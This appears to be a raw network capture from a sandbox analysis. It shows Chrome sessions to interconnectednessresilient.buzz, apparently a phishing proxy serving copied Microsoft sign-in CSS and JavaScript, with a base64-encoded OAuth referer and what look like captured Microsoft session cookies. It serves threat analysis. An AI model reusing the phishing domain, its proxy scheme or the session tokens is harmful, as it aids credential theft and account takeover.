87 04 6a 98 ad e9 2d 8f 03 09 23 54 20 57 34 17 f4 3d 3c 69 91 2a 05 8a 3c 52 a7 62 7d 1e d7 23 a0 76 57 a3 65 76 91 8e 60 65 30 8e 61 93 11 89 48 55 36 23 e2 Data Ascii: {$m)(6B$3lO/kIfd$@pP"zegvyF_TTQ!r&Bfw'6$HQhKLDyhD7]-5njF>M4HvG9<Q^Gv87G':Mj-#T W4=<i<Rb}#vWev`e0aHU6#
2025-01-14 14:56:17 UTC	16384	IN	Data Raw: bd 6d 28 86 22 14 fd 52 cd be 77 3a 74 a0 5f 56 d1 66 e1 2a 1d 45 04 3c 9b d1 11 f3 9e fd 20 49 a2 f8 2e c6 44 a6 bc ec 79 db b1 24 8c 08 14 9d c4 6c d0 bb ac 84 9e 62 c0 bb cc 6f c5 03 49 0a d1 22 72 45 b9 f3 d7 d8 2d 07 41 fb a0 d2 af 5b 16 27 05 b6 d3 7f 43 db 22 af 2c f8 67 d1 b2 a3 12 c9 19 39 6c d0 87 8b 2f e8 97 e4 93 e4 e0 1c 38 0e b7 05 12 8f a9 2c b7 01 a9 87 9b 90 f9 2f 94 04 1d d8 35 18 59 a7 60 13 47 54 36 21 f5 37 b8 11 de 6c 36 9b 3b 9c 18 07 8c db 9a 6f b2 4e 2f f6 18 87 8d b9 36 31 96 ce 2e 3e 6b 12 40 81 ba a9 3d a0 08 d2 09 6d 4b 87 0e b7 db db bf 7c af 43 8e 53 4d f4 40 f1 0c bf a4 8f 37 4b 3d 61 54 a4 ca 2f 38 ef fa 05 47 77 39 66 e6 9e 72 09 42 50 35 e7 92 43 34 99 59 e0 ad 93 f8 c1 41 cb f0 39 6a f6 81 63 6c 8b b4 84 e3 d1 9c 44 a6 Data Ascii: m("Rw:t_Vf*E< I.Dy$lboI"rE-A['C",g9l/8,/5Y`GT6!7l6;oN/61.>k@=mK\|CSM@7K=aT/8Gw9frBP5C4YA9jclD
2025-01-14 14:56:17 UTC	756	IN	Data Raw: 21 23 d6 01 79 65 24 99 04 fc 07 0a 71 cd b2 88 7a 94 c9 2d 7b 4b 02 01 06 f7 b4 33 5b 3f cd 89 d3 27 ce bc 8d 71 7e 15 58 ce de d8 81 35 d4 cd f8 87 26 43 ec 13 39 8e 9c 91 ab ac a5 b6 a9 30 f6 10 7c 0c c2 a2 bf 6e 7b db 0d b4 e1 d5 13 47 80 c0 c1 ce 72 c9 78 91 b2 d2 88 01 3d f0 a1 5b 67 5c 28 8f e9 78 3a e0 82 dc fe be c7 ae 66 38 d3 87 ea ac 3d d5 7a aa b4 36 7e 29 29 c7 16 6b 0f a9 64 3b 7f b9 af bc ba c0 5f 2a c6 12 b0 0f 6a fb 0c 7a 59 69 03 93 02 68 26 de 13 79 ed 73 e2 33 cb 1e 77 a9 3f 34 24 cf f6 70 ff db e9 d1 f1 46 61 51 03 7e 96 0d fb d9 ab 57 b7 71 5e b9 6b 14 3a ca 14 d6 e7 52 f4 fc 0d b5 74 37 9f 54 9d a3 ca fa b8 d6 86 51 83 f8 d0 aa 6c 62 55 8f 9d 91 f6 c9 4b 46 aa e4 82 e6 f3 7a e4 d6 34 c8 0a cd ef b2 f2 9c 8e 1d 8f 89 91 69 37 0e 2e Data Ascii: !#ye$qz-{K3[?'q~X5&C90\|n{Grx=[g\(x:f8=z6~))kd;_*jzYih&ys3w?4$pFaQ~Wq^k:Rt7TQlbUKFz4i7.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49983	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:18 UTC	3261	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:18 UTC	775	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:18 GMT Content-Type: text/css Content-Length: 20410 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 08 Nov 2024 04:59:25 GMT ETag: 0x8DCFFB21E496F3A x-ms-request-id: 11b1d36a-201e-001d-292a-65f147000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145618Z-175dd4d5677hmmfghC1MNZ14g8000000058g000000002snv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-01-14 14:56:18 UTC	15609	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2025-01-14 14:56:18 UTC	4801	IN	Data Raw: 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 bb 7d ce d8 eb 5e a9 2b 2e 5f 31 9e 3c 14 8e 66 b6 29 6a 84 19 Data Ascii: ,1/*+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f}^+._1<f)j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49984	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:18 UTC	3238	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:18 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Tue, 14 Jan 2025 14:56:18 GMT Connection: close
2025-01-14 14:56:18 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2025-01-14 14:56:18 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2025-01-14 14:56:19 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
